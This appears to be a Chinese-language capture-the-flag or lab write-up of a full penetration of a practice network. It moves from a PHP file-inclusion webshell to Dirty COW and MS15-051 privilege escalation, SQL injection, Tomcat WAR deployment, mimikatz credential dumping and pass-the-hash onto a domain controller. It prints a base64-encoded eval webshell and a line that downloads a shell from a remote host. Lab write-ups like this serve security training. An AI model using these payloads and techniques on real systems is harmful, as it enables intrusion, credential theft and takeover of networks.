修改host文件,路径 C:\Windows\System32\drivers\etc\hosts,添加如下配置
172.16.6.10 www.theyer.com
172.16.6.10 shop.theyer.com
为了避免读者“不识庐山真面目,只缘身在此山中”,被我混乱的操作搞得云里雾里,笔者先在前面画了一张思路图供大家参考
题目入口:www.theyer.com
拿到主站入口以后,开始信息搜集:子域名信息搜集,搜集到shop.theyer.com,继续进行目录信息搜集和端口信息搜集
目录扫描发现了一个upload目录(后面用得到),端口信息搜集发现开放了3306端口,可以尝试爆破口令
在首页随意点击功能模块发下如下内容:
http://shop.theyer.com/index.php?page=about.php
可疑文件包含,尝试 php://input 伪协议执行php函数,可以成功,那么可以直接写webshell了,或者在certutil没被拦截的情况下直接cs上线了
直接写马
<?php echo `echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pPz4=|base64 -d > upload/shell.php` ;?>
或者现在本地起web服务(实战中就在公网vps上起),放入txt文本,靠php中copy命令远程下载webshell保存到本地
<?php copy("http://172.16.8.2/1.txt","upload/shell.php");?>
这里面记录一个坑点,直接写在当前目录是没有写权限的,通过前面的目录信息搜集发现存在upload目录,而upload目录一般都是有可写权限的,因此往upload目录写就可以成功了。之后菜刀连接成功,www目录发现第一个flag
搜集一波密码,在www.theyer.com这个站api中找到注释了的数据库连接信息
想切到root目录看看还有没有flag,但是发现没权限。当前用户为centos用户,非root。尝试进行提权,先查看内核版本
可以藏牛提权,上传dirty.c在服务器上编译后执行,成功提权。
gcc -pthread dirty.c -o dirty -lcrypt ./dirty lazy123
提权成功,切换到提权用户失败,直接ssh连接吧。查看到第二个flag
从上面的入口点一,实际上边界服务器的两个flag已经拿完了,这套题已经结束了,但是我后来又发现了一个入口点,存在SQL注入,也可以作为一种实战渗透的时候的思路,这里记录一下:
在主站 www.theyer.com 首页中有一个下载apk的地方,静态分析源码找接口
后缀改成zip得到dex的汇编文件class.dex,将其反汇编得源代码,找到接口ULR,发现是.php?id=1形式,尝试SQL注入,成功
查看主机网络信息,发现双网卡
上传reGeorg,配置代理,进行内网扫描,探测主机和端口信息,扫到如下存活主机
192.168.6.17开放80端口
同样先进行信息搜集,目录扫描的时候注意控制一下扫描速度,因为这里是走的代理进行扫描,如果扫描流量一旦过大代理就很容易崩掉
python3 dirsearch.py -u http://192.168.6.17/ -e * --delay 0.1
扫到一个admin目录,别的也没什么有价值的东西。查看网页首页源代码,一个js函数引起了我的注意。
发现这个函数在js/main.js中引入,查看这个文件找到了泄漏的请求接口
尝试直接访问这个接口:http://192.168.6.17/message.php?id=1
这个系统维护就是我们一开始看到的首页的系统维护,尝试对接口进行SQL注入,发现存在数值型盲注
SQLmap启动:
发现flag表,flag字段,内含有一个flag
还有一个admin表我们不能遗漏,成功拿到了管理员的密码
解密md5得到明文密码
拿到密码admin/37s984pass,之前目录扫描扫到admin目录,,403到login,登录后台,发现个人信息处可以上传图片,没有任何过滤直接getshell
拿到shell路径
http://192.168.6.17/upload/images/20200806121306.php
根目录下又发现一个flag
拿到shell以后翻翻服务器中源码的配置文件,在/inc/config.php中拿到远程连接内网邮件服务器
192.168.6.16的STMP服务器配置
SMTP连接用户名和密码为:[email protected]/fgpass2814
MYSQL数据库用户名密码myoa/myoa123123
用邮箱用户名和密码从web端登录192.168.6.16邮件服务器,可以成功登录
经过抓包、测试,看到cookie字段的id=1很可疑,尝试注入,发现cookie部分存在SQL注入
得到邮件服务器的管理员用户名密码为admin/22f2e5ec0bf4b85554c755993e2ba67f,解密得2_333admin
192.168.6.16这一台服务器80端口是邮件服务器,同时开放了8080端口,访问后发现是tomcat
tomcat/tomcat弱口令进后台后部署war包getshell
在/var/www目录找到第一个flag
root目录下发现第二个flag
因为这里拿到了服务器的权限,因此可以直接找配置文件连接数据库,最终查看到邮件服务器管理员的密码,和之前通过cookie注入拿到的管理员密码方式殊途同归。
在/var/www/html/找到80端口的服务根目录,在inc目录找到数据库配置文件
3306端口没有对外开放,尝试冰蝎自带的数据库连接功能发现连不上,使用蚁剑的数据库连接。需要重新上传一个webshell,注意上传webshell默认没执行权限,需要chmod加权限(这个问题我在实战中遇到过好多次)
查看服务器apache日志文件,在/var/log/apache2/access_log,发现192.168.6.200这台主机的访问记录,且是访问了邮件服务器的manager的,很明显是管理员了。根据日志猜测192.168.6.200这台应该是管理员的主机,并且密码很可能为mail系统管理员的密码
这里我们把之前搜集到的所有密码合成字典,进行爆破
爆破可登录端口,192.168.6.200远程桌面登录成功
192.168.6.200----RDP----3389----admin----2_333admin
远程桌面连接,在记事本历史记录发现flag
直接查看发现权限不够,需要提权
systeminfo查看主机信息,根据补丁确定可以使用ms15-051进行提权,提权成功。如下图:
全盘查找flag
dir c:\ /s /b |find "flag"
提权后可以通过type命令查看,也可以新添加用户,赋予管理员权限,再远程桌面登录查看
发现主机存在域环境,信息搜集找域名,域名为myad.com
ping myad.com找到域控的地址为10.1.1.10,并且通过nslookup可以看到域控也是DNS服务器
mimiktz读密码,抓到了administrator、admin的明文密码和$server的hash
这里可以使用读出来的administrator/ppx()0778直接登录域控,访问\10.1.1.10\c$,在根目录发现flag
也可以使用administrator的hash进行hash传递,成功登录域控,如下图:
type c:/flag.txt 拿到flag